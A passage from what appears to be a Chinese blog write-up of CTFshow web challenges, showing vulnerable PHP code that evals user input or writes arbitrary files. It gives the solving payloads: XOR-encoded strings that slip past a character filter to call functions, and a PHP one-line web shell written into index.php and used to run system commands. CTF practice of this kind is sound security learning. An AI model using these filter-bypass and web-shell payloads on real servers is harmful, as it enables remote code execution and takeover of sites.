    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}
---------------------------------
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");

web148

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}
---------------------------------
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
---------------------------------------
ctf=index.php
show=<?php eval($_POST[1]);?>
1=system('ls /');

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值